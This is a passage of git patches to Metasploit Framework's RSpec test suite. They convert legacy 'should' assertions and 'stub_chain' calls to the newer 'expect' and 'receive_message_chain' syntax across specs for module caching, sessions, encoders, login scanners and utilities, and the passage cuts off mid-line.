receive(:import_msf_web_element) do |*args, &specialization| info = specialization.call(element, options) - info.should be_a Hash + expect(info).to be_a Hash end import_msf_web_page_element @@ -885,7 +885,7 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do it 'should be a Hash' do with_info do |info| - info.should be_a Hash + expect(info).to be_a Hash end import_msf_web_vuln_element diff --git a/spec/support/shared/examples/msf/db_manager/migration.rb b/spec/support/shared/examples/msf/db_manager/migration.rb index 3380af52d6..5e56901547 100644 --- a/spec/support/shared/examples/msf/db_manager/migration.rb +++ b/spec/support/shared/examples/msf/db_manager/migration.rb @@ -67,7 +67,7 @@ shared_examples_for 'Msf::DBManager::Migration' do it 'should log error message at error level' do expect(db_manager).to receive(:elog) do |error_message| - error_message.should include(error.to_s) + expect(error_message).to include(error.to_s) end migrate @@ -75,7 +75,7 @@ shared_examples_for 'Msf::DBManager::Migration' do it 'should log error backtrace at debug level' do expect(db_manager).to receive(:dlog) do |debug_message| - debug_message.should include('Call stack') + expect(debug_message).to include('Call stack') end migrate diff --git a/spec/support/shared/examples/msf/db_manager/module_cache.rb b/spec/support/shared/examples/msf/db_manager/module_cache.rb index 09b3a6252d..7bb28dd886 100644 --- a/spec/support/shared/examples/msf/db_manager/module_cache.rb +++ b/spec/support/shared/examples/msf/db_manager/module_cache.rb @@ -169,11 +169,13 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end it "should match Mdm::Module::Detail#stance 'passive'" do - module_details.count.should > 0 + expect(module_details.count).to > 0 - module_details.all? { |module_detail| - module_detail.stance == 'passive' - }.should be_truthy + expect( + module_details.all? { |module_detail| + module_detail.stance == 'passive' + } + ).to eq true end end @@ -183,11 +185,13 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end it "should match Mdm::Module::Detail#stance 'aggressive'" do - module_details.count.should > 0 + expect(module_details.count).to > 0 - module_details.all? { |module_detail| - module_detail.stance == 'aggressive' - }.should be_truthy + expect( + module_details.all? { |module_detail| + module_detail.stance == 'aggressive' + } + ).to eq true end end end @@ -212,13 +216,15 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end it 'should match Mdm::Module::Author#email' do - module_details.count.should > 0 + expect(module_details.count).to > 0 - module_details.all? { |module_detail| - module_detail.authors.any? { |module_author| - module_author.email == target_module_author.email + expect( + module_details.all? { |module_detail| + module_detail.authors.any? { |module_author| + module_author.email == target_module_author.email + } } - }.should be_truthy + ).to eq true end end @@ -229,13 +235,15 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end it 'should match Mdm::Module::Author#name' do - module_details.count.should > 0 + expect(module_details.count).to > 0 - module_details.all? { |module_detail| - module_detail.authors.any? { |module_author| - module_author.name == target_module_author.name + expect( + module_details.all? { |module_detail| + module_detail.authors.any? { |module_author| + module_author.name == target_module_author.name + } } - }.should be_truthy + ).to eq true end end end @@ -263,11 +271,13 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end it 'should match Mdm::Module::Detail#fullname' do - module_details.count.should > 0 + expect(module_details.count).to > 0 - module_details.all? { |module_detail| - module_detail.fullname == target_module_detail.fullname - }.should be_truthy + expect( + module_details.all? { |module_detail| + module_detail.fullname == target_module_detail.fullname + } + ).to eq true end end @@ -278,11 +288,13 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end it 'should match Mdm::Module::Detail#name' do - module_details.count.should > 0 + expect(module_details.count).to > 0 - module_details.all? { |module_detail| - module_detail.name == target_module_detail.name - }.should be_truthy + expect( + module_details.all? { |module_detail| + module_detail.name == target_module_detail.name + } + ).to eq true end end end @@ -313,13 +325,15 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end it 'should match Mdm::Module::Ref#name' do - module_details.count.should > 0 + expect(module_details.count).to > 0 - module_details.all? { |module_detail| - module_detail.refs.any? { |module_ref| - module_ref.name == ref + expect( + module_details.all? { |module_detail| + module_detail.refs.any? { |module_ref| + module_ref.name == ref + } } - }.should be_truthy + ).to eq true end end @@ -353,11 +367,13 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end it 'should match Mdm::Module::Detail#mtype' do - module_details.count.should > 0 + expect(module_details.count).to > 0 - module_details.all? { |module_detail| - module_detail.mtype == type - }.should be_truthy + expect( + module_details.all? { |module_detail| + module_detail.mtype == type + } + ).to eq true end end @@ -379,13 +395,15 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end it 'should match Mdm::Module::Action#name' do - module_details.count.should > 0 + expect(module_details.count).to > 0 - module_details.all? { |module_detail| - module_detail.actions.any? { |module_action| - module_action.name == search_string + expect( + module_details.all? { |module_detail| + module_detail.actions.any? { |module_action| + module_action.name == search_string + } } - }.should be_truthy + ).to eq true end end @@ -399,13 +417,15 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end it 'should match Mdm::Module::Arch#name' do - module_details.count.should > 0 + expect(module_details.count).to > 0 - module_details.all? { |module_detail| - module_detail.archs.any? { |module_arch| - module_arch.name == search_string + expect( + module_details.all? { |module_detail| + module_detail.archs.any? { |module_arch| + module_arch.name == search_string + } } - }.should be_truthy + ).to eq true end end @@ -419,13 +439,15 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end it 'should match Mdm::Module::Author#name' do - module_details.count.should > 0 + expect(module_details.count).to > 0 - module_details.all? { |module_detail| - module_detail.authors.any? { |module_author| - module_author.name == search_string + expect( + module_details.all? { |module_detail| + module_detail.authors.any? { |module_author| + module_author.name == search_string + } } - }.should be_truthy + ).to eq true end end @@ -447,9 +469,11 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do it 'should match Mdm::Module::Detail#description' do expect(module_details.count).to eq 1 - module_details.all? { |module_detail| - module_detail.description == target_module_detail.description - }.should be_truthy + expect( + module_details.all? { |module_detail| + module_detail.description == target_module_detail.description + } + ).to eq true end end @@ -461,9 +485,11 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do it 'should match Mdm::Module::Detail#fullname' do expect(module_details.count).to eq 1 - module_details.all? { |module_detail| - module_detail.fullname == search_string - }.should be_truthy + expect( + module_details.all? { |module_detail| + module_detail.fullname == search_string + } + ).to eq true end end @@ -476,9 +502,11 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do it 'should match Mdm::Module::Detail#name' do expect(module_details.count).to eq 1 - module_details.all? { |module_detail| - module_detail.name == target_module_detail.name - }.should be_truthy + expect( + module_details.all? { |module_detail| + module_detail.name == target_module_detail.name + } + ).to eq true end end end @@ -493,13 +521,15 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end it 'should match Mdm::Module::Platform#name' do - module_details.count.should > 0 + expect(module_details.count).to > 0 - module_details.all? { |module_detail| - module_detail.platforms.any? { |module_platform| - module_platform.name == search_string + expect( + module_details.all? { |module_detail| + module_detail.platforms.any? { |module_platform| + module_platform.name == search_string + } } - }.should be_truthy + ).to eq true end end @@ -513,13 +543,15 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end it 'should match Mdm::Module::Ref#name' do - module_details.count.should > 0 + expect(module_details.count).to > 0 - module_details.all? { |module_detail| - module_detail.refs.any? { |module_ref| - module_ref.name == search_string + expect( + module_details.all? { |module_detail| + module_detail.refs.any? { |module_ref| + module_ref.name == search_string + } } - }.should be_truthy + ).to eq true end end @@ -533,13 +565,15 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end it 'should match Mdm::Module::Target#name' do - module_details.count.should > 0 + expect(module_details.count).to > 0 - module_details.all? { |module_detail| - module_detail.targets.any? { |module_target| - module_target.name == search_string + expect( + module_details.all? { |module_detail| + module_detail.targets.any? { |module_target| + module_target.name == search_string + } } - }.should be_truthy + ).to eq true end end end diff --git a/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_platform_name_or_mdm_module_target_name_keyword.rb b/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_platform_name_or_mdm_module_target_name_keyword.rb index ee7aa479bb..588ae2525c 100644 --- a/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_platform_name_or_mdm_module_target_name_keyword.rb +++ b/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_platform_name_or_mdm_module_target_name_keyword.rb @@ -19,13 +19,15 @@ shared_examples_for 'Msf::DBManager#search_modules Mdm::Module::Platform#name or end it 'should find matching Mdm::Module::Platform#name' do - module_details.count.should > 0 + expect(module_details.count).to > 0 - module_details.all? { |module_detail| - module_detail.platforms.any? { |module_platform| - module_platform.name == self.module_platform.name + expect( + module_details.all? { |module_detail| + module_detail.platforms.any? { |module_platform| + module_platform.name == self.module_platform.name + } } - }.should be_truthy + ).to eq true end end @@ -36,13 +38,15 @@ shared_examples_for 'Msf::DBManager#search_modules Mdm::Module::Platform#name or end it 'should find matching Mdm::Module::Target#name' do - module_details.count.should > 0 + expect(module_details.count).to > 0 - module_details.all? { |module_detail| - module_detail.targets.any? { |module_target| - module_target.name == self.module_target.name + expect( + module_details.all? { |module_detail| + module_detail.targets.any? { |module_target| + module_target.name == self.module_target.name + } } - }.should be_truthy + ).to eq true end end end diff --git a/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_ref_name_keyword.rb b/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_ref_name_keyword.rb index 107c62747f..1ac9e8b9f4 100644 --- a/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_ref_name_keyword.rb +++ b/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_ref_name_keyword.rb @@ -25,13 +25,15 @@ shared_examples_for 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword end it 'should match Mdm::Module::Ref#name' do - module_details.count.should > 0 + expect(module_details.count).to > 0 - module_details.all? { |module_detail| - module_detail.refs.any? { |module_ref| - module_ref.name == name + expect( + module_details.all? { |module_detail| + module_detail.refs.any? { |module_ref| + module_ref.name == name + } } - }.should be_truthy + ).to eq true end end diff --git a/spec/support/shared/examples/msf/db_manager/session.rb b/spec/support/shared/examples/msf/db_manager/session.rb index 2e06ae56df..1f607da6d9 100644 --- a/spec/support/shared/examples/msf/db_manager/session.rb +++ b/spec/support/shared/examples/msf/db_manager/session.rb @@ -396,27 +396,27 @@ shared_examples_for 'Msf::DBManager::Session' do # it 'should have session.info present' do - session.info.should be_present + expect(session.info).to be_present end it 'should have session.sid present' do - session.sid.should be_present + expect(session.sid).to be_present end it 'should have session.platform present' do - session.platform.should be_present + expect(session.platform).to be_present end it 'should have session.type present' do - session.type.should be_present + expect(session.type).to be_present end it 'should have session.via_exploit present' do - session.via_exploit.should be_present + expect(session.via_exploit).to be_present end it 'should have session.via_payload present' do - session.via_exploit.should be_present + expect(session.via_exploit).to be_present end it { expect(subject.datastore).to eq(session.exploit_datastore.to_h) } @@ -739,27 +739,27 @@ shared_examples_for 'Msf::DBManager::Session' do # it 'should have session.info present' do - session.info.should be_present + expect(session.info).to be_present end it 'should have session.sid present' do - session.sid.should be_present + expect(session.sid).to be_present end it 'should have session.platform present' do - session.platform.should be_present + expect(session.platform).to be_present end it 'should have session.type present' do - session.type.should be_present + expect(session.type).to be_present end it 'should have session.via_exploit present' do - session.via_exploit.should be_present + expect(session.via_exploit).to be_present end it 'should have session.via_payload present' do - session.via_exploit.should be_present + expect(session.via_exploit).to be_present end it { expect(subject.datastore).to eq(session.exploit_datastore.to_h) } diff --git a/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb b/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb index ca93631bb0..b8fa61c706 100644 --- a/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb +++ b/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb @@ -31,7 +31,7 @@ shared_examples_for 'Msf::DBManager#update_all_module_details refresh' do it 'should call update_module_details to create a new Mdm::Module::Detail from the module instance returned by create' do expect(db_manager).to receive(:update_module_details) do |module_instance| - module_instance.should be_a Msf::Module + expect(module_instance).to be_a Msf::Module expect(module_instance.type).to eq module_detail.mtype expect(module_instance.refname).to eq module_detail.refname end diff --git a/spec/support/shared/examples/msf/module/search.rb b/spec/support/shared/examples/msf/module/search.rb index 1d1c8837e0..139f016676 100644 --- a/spec/support/shared/examples/msf/module/search.rb +++ b/spec/support/shared/examples/msf/module/search.rb @@ -9,12 +9,12 @@ shared_examples_for 'Msf::Module::Search' do accept.each do |query| it "should accept a query containing '#{query}'" do # if the subject matches, search_filter returns false ("don't filter me out!") - subject.search_filter(query).should be_falsey + expect(subject.search_filter(query)).to be_falsey end unless opts.has_key?(:test_inverse) and not opts[:test_inverse] it "should reject a query containing '-#{query}'" do - subject.search_filter("-#{query}").should be_truthy + expect(subject.search_filter("-#{query}")).to be_truthy end end end @@ -22,12 +22,12 @@ shared_examples_for 'Msf::Module::Search' do reject.each do |query| it "should reject a query containing '#{query}'" do # if the subject doesn't matches, search_filter returns true ("filter me out!") - subject.search_filter(query).should be_truthy + expect(subject.search_filter(query)).to be_truthy end unless opts.has_key?(:test_inverse) and not opts[:test_inverse] it "should accept a query containing '-#{query}'" do - subject.search_filter("-#{query}").should be_truthy # what? why? + expect(subject.search_filter("-#{query}")).to be_truthy # what? why? end end end diff --git a/spec/support/shared/examples/msf/module_manager/cache.rb b/spec/support/shared/examples/msf/module_manager/cache.rb index 3b8c594548..1b7a3f50c6 100644 --- a/spec/support/shared/examples/msf/module_manager/cache.rb +++ b/spec/support/shared/examples/msf/module_manager/cache.rb @@ -97,7 +97,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do end it 'should have entry for path' do - module_info_by_path[path].should be_a Hash + expect(module_info_by_path[path]).to be_a Hash end context 'value' do @@ -340,13 +340,13 @@ shared_examples_for 'Msf::ModuleManager::Cache' do context '#module_info_by_path' do it 'should have protected method module_info_by_path' do - subject.respond_to?(:module_info_by_path, true).should be_truthy + expect(subject.respond_to?(:module_info_by_path, true)).to be_truthy end end context '#module_info_by_path=' do it 'should have protected method module_info_by_path=' do - subject.respond_to?(:module_info_by_path=, true).should be_truthy + expect(subject.respond_to?(:module_info_by_path=, true)).to be_truthy end end @@ -391,7 +391,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do it 'should create cache entry for path' do module_info_by_path_from_database! - module_info_by_path.should have_key(path) + expect(module_info_by_path).to have_key(path) end it 'should use Msf::Modules::Loader::Base.typed_path to derive parent_path' do @@ -458,7 +458,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do module_info_by_path_from_database! - module_info_by_path.should be_empty + expect(module_info_by_path).to be_empty end end end diff --git a/spec/support/shared/examples/msf/module_manager/loading.rb b/spec/support/shared/examples/msf/module_manager/loading.rb index 0240ce8130..c92e0dc642 100644 --- a/spec/support/shared/examples/msf/module_manager/loading.rb +++ b/spec/support/shared/examples/msf/module_manager/loading.rb @@ -8,8 +8,8 @@ shared_examples_for 'Msf::ModuleManager::Loading' do Tempfile.open(module_basename) do |tempfile| module_path = tempfile.path - subject.send(:module_info_by_path)[module_path].should be_nil - subject.file_changed?(module_path).should be_truthy + expect(subject.send(:module_info_by_path)[module_path]).to be_nil + expect(subject.file_changed?(module_path)).to be_truthy end end @@ -25,7 +25,7 @@ shared_examples_for 'Msf::ModuleManager::Loading' do :type => Msf::MODULE_PAYLOAD } - subject.file_changed?(module_path).should be_truthy + expect(subject.file_changed?(module_path)).to be_truthy end end @@ -41,8 +41,8 @@ shared_examples_for 'Msf::ModuleManager::Loading' do tempfile.unlink - File.exist?(module_path).should be_falsey - subject.file_changed?(module_path).should be_truthy + expect(File.exist?(module_path)).to be_falsey + expect(subject.file_changed?(module_path)).to be_truthy end it 'should return true if modification time does not match the cached modification time' do @@ -56,7 +56,7 @@ shared_examples_for 'Msf::ModuleManager::Loading' do } expect(cached_modification_time).not_to eq modification_time - subject.file_changed?(module_path).should be_truthy + expect(subject.file_changed?(module_path)).to be_truthy end end @@ -71,7 +71,7 @@ shared_examples_for 'Msf::ModuleManager::Loading' do } expect(cached_modification_time).to eq modification_time - subject.file_changed?(module_path).should be_falsey + expect(subject.file_changed?(module_path)).to be_falsey end end end diff --git a/spec/support/shared/examples/msf/module_manager/module_paths.rb b/spec/support/shared/examples/msf/module_manager/module_paths.rb index dc24b4c986..52939a24b0 100644 --- a/spec/support/shared/examples/msf/module_manager/module_paths.rb +++ b/spec/support/shared/examples/msf/module_manager/module_paths.rb @@ -10,7 +10,7 @@ shared_examples_for 'Msf::ModuleManager::ModulePaths' do module_manager.add_module_path(path_with_trailing_separator) module_paths.should_not include(path_with_trailing_separator) - module_paths.should include(path) + expect(module_paths).to include(path) end end @@ -19,7 +19,7 @@ shared_examples_for 'Msf::ModuleManager::ModulePaths' do Dir.mktmpdir do |path| module_manager.add_module_path(path) - module_paths.should include(path) + expect(module_paths).to include(path) end end end diff --git a/spec/support/shared/examples/msf/modules/error_subclass_initialize.rb b/spec/support/shared/examples/msf/modules/error_subclass_initialize.rb index af45717cb8..b44a096601 100644 --- a/spec/support/shared/examples/msf/modules/error_subclass_initialize.rb +++ b/spec/support/shared/examples/msf/modules/error_subclass_initialize.rb @@ -12,7 +12,7 @@ shared_examples_for 'Msf::Modules::Error subclass #initialize' do end it 'should include causal message in error' do - subject.to_s.should match(/due to .*/) + expect(subject.to_s).to match(/due to .*/) end it 'should set module_path' do diff --git a/spec/support/shared/examples/msf/modules/version_compatibility_error.rb b/spec/support/shared/examples/msf/modules/version_compatibility_error.rb index 45c859e7ad..00dbc4b48c 100644 --- a/spec/support/shared/examples/msf/modules/version_compatibility_error.rb +++ b/spec/support/shared/examples/msf/modules/version_compatibility_error.rb @@ -16,18 +16,18 @@ shared_examples_for 'Msf::Modules::VersionCompatibilityError' do end it 'should include minimum API version' do - error.to_s.should include(minimum_api_version.to_s) + expect(error.to_s).to include(minimum_api_version.to_s) end it 'should include minimum Core version' do - error.to_s.should include(minimum_core_version.to_s) + expect(error.to_s).to include(minimum_core_version.to_s) end it 'should include module path' do - error.to_s.should include(module_path) + expect(error.to_s).to include(module_path) end it 'should include module reference name' do - error.to_s.should include(module_reference_name) + expect(error.to_s).to include(module_reference_name) end end diff --git a/spec/support/shared/examples/xor_encoder.rb b/spec/support/shared/examples/xor_encoder.rb index 3df434c490..070730d80a 100644 --- a/spec/support/shared/examples/xor_encoder.rb +++ b/spec/support/shared/examples/xor_encoder.rb @@ -4,19 +4,19 @@ shared_examples_for 'an xor encoder' do |keysize| it "should encode one block" do # Yup it returns one of its arguments in an array... Because spoon. encoded, key = described_class.encode("A"*keysize, "A"*keysize) - encoded.should eql("\x00"*keysize) + expect(encoded).to eql("\x00"*keysize) encoded, key = described_class.encode("\x0f"*keysize, "\xf0"*keysize) - encoded.should eql("\xff"*keysize) + expect(encoded).to eql("\xff"*keysize) encoded, key = described_class.encode("\xf7"*keysize, "\x7f"*keysize) - encoded.should eql("\x88"*keysize) + expect(encoded).to eql("\x88"*keysize) end it "should encode multiple blocks" do 2.upto 50 do |count| encoded, key = described_class.encode("\xf7"*keysize*count, "\x7f"*keysize) - encoded.should eql("\x88"*keysize*count) + expect(encoded).to eql("\x88"*keysize*count) end end @@ -24,12 +24,12 @@ shared_examples_for 'an xor encoder' do |keysize| it "should deal with input lengths that aren't a multiple of keysize" do lambda { encoded, key = described_class.encode("A"*(keysize+1), "A"*keysize) - encoded.should eql("\x00"*(keysize+1)) + expect(encoded).to eql("\x00"*(keysize+1)) }.should_not raise_error lambda { encoded, key = described_class.encode("A"*(keysize-1), "A"*keysize) - encoded.should eql("\x00"*(keysize-1)) + expect(encoded).to eql("\x00"*(keysize-1)) }.should_not raise_error end end diff --git a/spec/tools/cpassword_decrypt_spec.rb b/spec/tools/cpassword_decrypt_spec.rb index 21d2cd12da..d3775df251 100644 --- a/spec/tools/cpassword_decrypt_spec.rb +++ b/spec/tools/cpassword_decrypt_spec.rb @@ -16,14 +16,14 @@ RSpec.describe CPassword do # Encrypted password for "testpassword" cpass = "AzVJmXh/J9KrU5n0czX1uBPLSUjzFE8j7dOltPD8tLk" pass = cpasswd.decrypt(cpass) - pass.should eq('testpassword') + expect(pass).to eq('testpassword') end it "should return an empty string due to a bad password" do # Invalid password format cpass = "BadPassword" pass = cpasswd.decrypt(cpass) - pass.should eq('') + expect(pass).to eq('') end end end diff --git a/spec/tools/virustotal_spec.rb b/spec/tools/virustotal_spec.rb index bee9dfe870..dae40af00a 100644 --- a/spec/tools/virustotal_spec.rb +++ b/spec/tools/virustotal_spec.rb @@ -30,11 +30,11 @@ RSpec.describe VirusTotalUtility do context ".Initializer" do it "should init the config file path as Metasploit's default config path" do - tool_config.instance_variable_get(:@config_file).should eq(Msf::Config.config_file) + expect(tool_config.instance_variable_get(:@config_file)).to eq(Msf::Config.config_file) end it "should init the group name as 'VirusTotal'" do - tool_config.instance_variable_get(:@group_name).should eq('VirusTotal') + expect(tool_config.instance_variable_get(:@group_name)).to eq('VirusTotal') end end end @@ -92,31 +92,31 @@ RSpec.describe VirusTotalUtility do context ".Initializer" do it "should have an API key" do - vt.instance_variable_get(:@api_key).should eq(api_key) + expect(vt.instance_variable_get(:@api_key)).to eq(api_key) end it "should have a checksum for the malware sample" do - vt.instance_variable_get(:@sample_info)['sha256'].should eq(malware_sha256) + expect(vt.instance_variable_get(:@sample_info)['sha256']).to eq(malware_sha256) end end context "._load_sample" do it "should contain sample info including data, filename, and sha256" do - vt.send(:_load_sample, filename).should eq(sample) + expect(vt.send(:_load_sample, filename)).to eq(sample) end end context ".scan_sample" do it "should return with data" do expect(vt).to receive(:_execute_request).and_return('') - vt.scan_sample.should eq('') + expect(vt.scan_sample).to eq('') end end context ".retrieve_report" do it "should return with data" do expect(vt).to receive(:_execute_request).and_return('') - vt.retrieve_report.should eq('') + expect(vt.retrieve_report).to eq('') end end @@ -152,19 +152,19 @@ RSpec.describe VirusTotalUtility do end it "should create form-data with a boundary" do - @upload_data.should match(/#{boundary}/) + expect(@upload_data).to match(/#{boundary}/) end it "should create form-data with the API key" do - @upload_data.should match(/#{api_key}/) + expect(@upload_data).to match(/#{api_key}/) end it "should create form-data with the malware filename" do - @upload_data.should match(/#{filename}/) + expect(@upload_data).to match(/#{filename}/) end it "should create form-data with the malware data" do - @upload_data.should match(/#{malware_data}/) + expect(@upload_data).to match(/#{malware_data}/) end end end @@ -224,7 +224,7 @@ RSpec.describe VirusTotalUtility do context ".initialize" do it "should return a Driver object" do - driver.class.should eq(VirusTotalUtility::Driver) + expect(driver.class).to eq(VirusTotalUtility::Driver) end end @@ -232,7 +232,7 @@ RSpec.describe VirusTotalUtility do it "should have a link of VirusTotal's terms of service" do tos = 'https://www.virustotal.com/en/about/terms-of-service' out = get_stdout { driver.ack_privacy } - out.should match(/#{tos}/) + expect(out).to match(/#{tos}/) end end @@ -246,7 +246,7 @@ RSpec.describe VirusTotalUtility do } out = get_stdout { driver.generate_report(res, filename) } - out.should match(/#{res['scans']['Bkav']['version']}/) + expect(out).to match(/#{res['scans']['Bkav']['version']}/) end end end From 4cec58d78cdf04c8412319be0876e8eb10395dcf Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Tue, 20 Oct 2015 15:00:56 -0500 Subject: [PATCH 1496/2172] .stub_chain -> expect().to receive_message_chain MSP-13484 --- .../framework/login_scanner/smb_spec.rb | 20 ++++++------- .../lib/msf/base/sessions/meterpreter_spec.rb | 4 +-- spec/lib/msf/core/payload_generator_spec.rb | 12 ++++---- spec/lib/msf/core/post/windows/mssql_spec.rb | 28 +++++++++---------- spec/lib/msf/core/post/windows/runas_spec.rb | 4 +-- 5 files changed, 34 insertions(+), 34 deletions(-) diff --git a/spec/lib/metasploit/framework/login_scanner/smb_spec.rb b/spec/lib/metasploit/framework/login_scanner/smb_spec.rb index f028463db5..5240e5ae5e 100644 --- a/spec/lib/metasploit/framework/login_scanner/smb_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/smb_spec.rb @@ -74,11 +74,11 @@ RSpec.describe Metasploit::Framework::LoginScanner::SMB do context '#attempt_login' do before(:each) do - login_scanner.stub_chain(:simple, :client, :auth_user, :nil?).and_return false + allow(login_scanner).to receive_message_chain(:simple, :client, :auth_user, :nil?).and_return false end context 'when there is a connection error' do it 'returns a result with the connection_error status' do - login_scanner.stub_chain(:simple, :login).and_raise ::Rex::ConnectionError + allow(login_scanner).to receive_message_chain(:simple, :login).and_raise ::Rex::ConnectionError expect(login_scanner.attempt_login(pub_blank).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT end end @@ -98,10 +98,10 @@ RSpec.describe Metasploit::Framework::LoginScanner::SMB do exception = Rex::Proto::SMB::Exceptions::LoginError.new exception.error_code = code - login_scanner.stub_chain(:simple, :login).and_raise exception - login_scanner.stub_chain(:simple, :connect) - login_scanner.stub_chain(:simple, :disconnect) - login_scanner.stub_chain(:simple, :client, :auth_user, :nil?).and_return false + allow(login_scanner).to receive_message_chain(:simple, :login).and_raise exception + allow(login_scanner).to receive_message_chain(:simple, :connect) + allow(login_scanner).to receive_message_chain(:simple, :disconnect) + allow(login_scanner).to receive_message_chain(:simple, :client, :auth_user, :nil?).and_return false expect(login_scanner.attempt_login(pub_blank).status).to eq Metasploit::Model::Login::Status::DENIED_ACCESS end @@ -111,8 +111,8 @@ RSpec.describe Metasploit::Framework::LoginScanner::SMB do context 'when the login fails' do it 'returns a result object with a status of Metasploit::Model::Login::Status::INCORRECT' do - login_scanner.stub_chain(:simple, :login).and_return false - login_scanner.stub_chain(:simple, :connect).and_raise Rex::Proto::SMB::Exceptions::Error + allow(login_scanner).to receive_message_chain(:simple, :login).and_return false + allow(login_scanner).to receive_message_chain(:simple, :connect).and_raise Rex::Proto::SMB::Exceptions::Error expect(login_scanner.attempt_login(pub_blank).status).to eq Metasploit::Model::Login::Status::INCORRECT end end @@ -127,7 +127,7 @@ RSpec.describe Metasploit::Framework::LoginScanner::SMB do end it 'returns a result object with a status of Metasploit::Model::Login::Status::SUCCESSFUL' do - login_scanner.stub_chain(:simple, :login).and_return true + allow(login_scanner).to receive_message_chain(:simple, :login).and_return true result = login_scanner.attempt_login(pub_blank) expect(result.status).to eq Metasploit::Model::Login::Status::SUCCESSFUL expect(result.access_level).to eq described_class::AccessLevels::ADMINISTRATOR @@ -145,7 +145,7 @@ RSpec.describe Metasploit::Framework::LoginScanner::SMB do end it 'returns a result object with a status of Metasploit::Model::Login::Status::SUCCESSFUL' do - login_scanner.stub_chain(:simple, :login).and_return true + allow(login_scanner).to receive_message_chain(:simple, :login).and_return true result = login_scanner.attempt_login(pub_blank) expect(result.status).to eq Metasploit::Model::Login::Status::SUCCESSFUL expect(result.access_level).to_not eq described_class::AccessLevels::ADMINISTRATOR diff --git a/spec/lib/msf/base/sessions/meterpreter_spec.rb b/spec/lib/msf/base/sessions/meterpreter_spec.rb index 8023907520..12cd7da53f 100644 --- a/spec/lib/msf/base/sessions/meterpreter_spec.rb +++ b/spec/lib/msf/base/sessions/meterpreter_spec.rb @@ -34,8 +34,8 @@ RSpec.describe Msf::Sessions::Meterpreter do subject(:connected_address) do m = described_class.new(StringIO.new(""), skip_ssl: true) - m.stub_chain(:net, :config, :get_interfaces).and_return(interfaces) - m.stub_chain(:net, :config, :get_routes).and_return(routes) + allow(m).to receive_message_chain(:net, :config, :get_interfaces).and_return(interfaces) + allow(m).to receive_message_chain(:net, :config, :get_routes).and_return(routes) m.session_host = session_host m.send(:find_internet_connected_address) diff --git a/spec/lib/msf/core/payload_generator_spec.rb b/spec/lib/msf/core/payload_generator_spec.rb index e37300a4f5..aa157ab88e 100644 --- a/spec/lib/msf/core/payload_generator_spec.rb +++ b/spec/lib/msf/core/payload_generator_spec.rb @@ -561,8 +561,8 @@ RSpec.describe Msf::PayloadGenerator do } it 'calls the generate_war on the payload' do - framework.stub_chain(:payloads, :keys).and_return [payload_reference_name] - framework.stub_chain(:payloads, :create).and_return(payload_module) + allow(framework).to receive_message_chain(:payloads, :keys).and_return [payload_reference_name] + allow(framework).to receive_message_chain(:payloads, :create).and_return(payload_module) expect(payload_module).to receive(:generate_war).and_call_original payload_generator.generate_java_payload end @@ -589,8 +589,8 @@ RSpec.describe Msf::PayloadGenerator do } it 'calls the generate_jar on the payload' do - framework.stub_chain(:payloads, :keys).and_return [payload_reference_name] - framework.stub_chain(:payloads, :create).and_return(payload_module) + allow(framework).to receive_message_chain(:payloads, :keys).and_return [payload_reference_name] + allow(framework).to receive_message_chain(:payloads, :create).and_return(payload_module) expect(payload_module).to receive(:generate_jar).and_call_original payload_generator.generate_java_payload end @@ -608,8 +608,8 @@ RSpec.describe Msf::PayloadGenerator do } it 'calls #generate' do - framework.stub_chain(:payloads, :keys).and_return [payload_reference_name] - framework.stub_chain(:payloads, :create).and_return(payload_module) + allow(framework).to receive_message_chain(:payloads, :keys).and_return [payload_reference_name] + allow(framework).to receive_message_chain(:payloads, :create).and_return(payload_module) expect(payload_module).to receive(:generate).and_call_original payload_generator.generate_java_payload end diff --git a/spec/lib/msf/core/post/windows/mssql_spec.rb b/spec/lib/msf/core/post/windows/mssql_spec.rb index fed8925a7d..aa4d68414d 100644 --- a/spec/lib/msf/core/post/windows/mssql_spec.rb +++ b/spec/lib/msf/core/post/windows/mssql_spec.rb @@ -294,43 +294,43 @@ RSpec.describe Msf::Post::Windows::MSSQL do context 'user has privs to impersonate' do before(:each) do - subject.stub_chain('session.sys.config.getuid').and_return('Superman') - subject.stub_chain('client.sys.config.getprivs').and_return(['SeAssignPrimaryTokenPrivilege']) - subject.stub_chain('session.incognito').and_return(true) - subject.stub_chain('session.sys.process.each_process').and_yield(process) + allow(subject).to receive_message_chain('session.sys.config.getuid').and_return('Superman') + allow(subject).to receive_message_chain('client.sys.config.getprivs').and_return(['SeAssignPrimaryTokenPrivilege']) + allow(subject).to receive_message_chain('session.incognito').and_return(true) + allow(subject).to 